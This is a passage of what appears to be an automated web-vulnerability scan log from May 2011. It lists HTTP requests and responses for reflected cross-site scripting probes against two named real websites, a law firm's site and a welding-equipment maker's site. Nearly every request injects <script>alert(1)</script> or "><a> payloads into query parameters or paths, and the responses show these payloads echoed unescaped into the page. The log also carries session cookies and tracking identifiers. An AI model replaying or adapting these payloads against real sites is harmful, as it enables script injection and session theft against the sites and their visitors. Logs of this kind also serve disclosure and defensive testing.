X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1855; path=/
Set-Cookie: PortletId=5992402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 50878

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/disclaimer/uniGC.aspx?xpST=Disclaimer&c62ea<script>alert(1)</script>b61219ade15=1&pdf=yes</div>
...[SNIP]...

GET /news/uniGC.aspx?xpST=PENSearch&a456e<script>alert(1)</script>c6ecfef4a6c=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1838; PortletId=5975402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; ZoneId=7; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.1.10.1304742363

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:02 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1849; path=/
Set-Cookie: PortletId=5986402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Set-Cookie: sessionKey=3274fdb8-62f1-4551-b6d0-d1d666f3e788; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 170885

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/news/uniGC.aspx?xpST=PENSearch&a456e<script>alert(1)</script>c6ecfef4a6c=1&pdf=yes</div>
...[SNIP]...

GET /news/uniGC.aspx?xpST=PENSearch&nsextt=%27%3E%3Cscript%3Enetsparker(9)%3C/script%3Ed2516<script>alert(1)</script>da9dcb68d27 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.9.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1843; PortletId=5980402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:44:09 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1849; path=/
Set-Cookie: PortletId=5986402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 171008

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
</script>d2516<script>alert(1)</script>da9dcb68d27&pdf=yes</div>
...[SNIP]...

GET /private_wealth_advisors/?7cf20<script>alert(1)</script>3a817fcf669=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/services/uniGC.aspx?xpST=ServiceList
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.9.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1843; PortletId=5980402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:40:34 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: NavId=1847; path=/
Set-Cookie: PortletId=5984402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 45737

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/services/uniEntity.aspx?7cf20<script>alert(1)</script>3a817fcf669=1&xpST=ServiceDetailPDF&service=66&pdf=yes</div>
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=Kf4618<script>alert(1)</script>6286371e1b0 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=K
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.6.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=0; PortletId=0; SiteId=1837; ZoneId=0

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:58 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43498

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalResults&LastName=Kf4618<script>alert(1)</script>6286371e1b0&pdf=yes</div>
...[SNIP]...

GET /professionals/uniGC.aspx?xpST=ProfessionalSearch&c47ff<script>alert(1)</script>666e8ba2714=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/aboutus/uniGC.aspx?xpST=AboutUs
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1844; PortletId=5981402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.4.10.1304742363

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:38:42 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1846; path=/
Set-Cookie: PortletId=5983402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 172423

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/professionals/uniGC.aspx?xpST=ProfessionalSearch&c47ff<script>alert(1)</script>666e8ba2714=1&pdf=yes</div>
...[SNIP]...

GET /services/uniGC.aspx?xpST=ServiceList&171ed<script>alert(1)</script>5282bc75c4e=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1838; PortletId=5975402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; ZoneId=7; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.1.10.1304742363

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:42:59 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1847; path=/
Set-Cookie: PortletId=5984402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Set-Cookie: sessionKey=0f5e93eb-bc1c-4837-8c4d-3e0520321779; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 79952

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/services/uniGC.aspx?xpST=ServiceList&171ed<script>alert(1)</script>5282bc75c4e=1&pdf=yes</div>
...[SNIP]...

GET /sitemap/uniGC.aspx?xpST=SiteMap&da934<script>alert(1)</script>3e05beb1325=1 HTTP/1.1
Host: www.hunton.com
Proxy-Connection: keep-alive
Referer: http://www.hunton.com/contactus/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASP.NET_SessionId=fwzgqujjzcm2lrafhxcipc55; CurrentZone=AppType=WEB&AppTypeLong=Web Framework&H4ID=7&RootPortletName=ConnectWebRoot&RootPortletNavID=1038&RootPortletID=617&RootPortletH4AssetID=301&LicenseKey= &Name=Web Framework&URL=fcw; BIGipServerH1-HUNTON-A0910-80=1092146954.20480.0000; __utmz=267908375.1304742363.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sessionKey=8be6cff3-b698-403d-b33f-091ebc4e1304; __utma=267908375.1939147739.1304742363.1304742363.1304742363.1; __utmc=267908375; __utmb=267908375.9.10.1304742363; Language=7483b893-e478-44a4-8fed-f49aa917d8cf; DefaultCulture=en-US; Mode=1; EventingStatus=1; NavId=1843; PortletId=5980402; SiteId=1837; SERVER_PORT=80; Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; ZoneId=7

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 23:45:17 GMT
Server: Microsoft-IIS/6.0
x-geoloc: 05
x-client: 000040
x-apptype: 01
x-prodtype: 01
x-public: 1
x-redirect: 0
x-occurrence: 01
x-server: EG-H1WS-A09
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: Language=7483b893-e478-44a4-8fed-f49aa917d8cf; path=/
Set-Cookie: DefaultCulture=en-US; path=/
Set-Cookie: Mode=1; path=/
Set-Cookie: EventingStatus=1; path=/
Set-Cookie: NavId=1856; path=/
Set-Cookie: PortletId=5993402; path=/
Set-Cookie: SiteId=1837; path=/
Set-Cookie: SERVER_PORT=80; path=/
Set-Cookie: Localization=TimeZone=0&UsesDaylightSavings=False&TimeZoneAbbrev=IDLW&Persists=True; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/; HttpOnly
Set-Cookie: ZoneId=7; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 43948

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >

<head>
<tit
...[SNIP]...
<div id="PDFBuilderUrl">http://www.hunton.com/sitemap/uniGC.aspx?xpST=SiteMap&da934<script>alert(1)</script>3e05beb1325=1&pdf=yes</div>
...[SNIP]...

GET /financing9b81e"><a>049843051a/images/powerline_bg.png HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 29471
Date: Fri, 06 May 2011 19:12:49 GMT
X-Varnish: 1128245960
Age: 0
Connection: keep-alive
Via: 1.1 varnish 172.17.2.234
X-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<ul id="navonfinancing9b81e"><a>049843051a">
...[SNIP]...

GET /financingf484e"><a>625578a4d6c/index.php HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:16:25 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-chcfmbmj=2F0D48C83588BD513834025B16A967C1; path=/
Content-Length: 29472

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<ul id="navonfinancingf484e"><a>625578a4d6c">
...[SNIP]...

GET /images816ba"><a>15c94e97594/footer-bootm-bg.jpg?9 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:17:50 GMT
Connection: Keep-Alive
Content-Length: 29469

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<ul id="navonimages816ba"><a>15c94e97594">
...[SNIP]...

GET /imagesb074f"><a>71be161f337/footer-top-bg.jpg?2 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=94003201.1303147760.1.1.utmcsr=PowerBlockTV|utmccn=toolsthatdrive|utmcmd=bannerad|utmcct=online; __qca=P0-154865017-1303147760079; evTracker=fc0c626fe6241db934df6d4f182a5f42; __unam=47bc96c-12f69aae8fb-5600ee4c-2; __utma=94003201.1070057693.1303147760.1303147760.1303147760.1; __utmv=94003201.|1=Internal%2520Campaign=powerline=1,2=Internal%2520Source=%2Fproducts%2Faccessories%2Finternational%2F=1,3=Internal%2520Medium=bannerad=1,4=Internal%2520Content=blackspace=1,; _chartbeat2=rr9pb9n2shhrzr4o; X-Mapping-chcfmbmj=DCDAE73D9206DA2A75313B243EFAB6EC

HTTP/1.1 404 Not Found
Server: Apache/2.2
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 19:17:53 GMT
Connection: Keep-Alive
Content-Length: 29469

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<
...[SNIP]...
<ul id="navonimagesb074f"><a>71be161f337">
...[SNIP]...

GET /images3b61d"><a>e7d8c4ea814/header-background.jpg?3 HTTP/1.1
Host: www.millerwelds.com
Proxy-Connection: keep-alive
Referer: http://www.millerwelds.com/financing/index.php
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
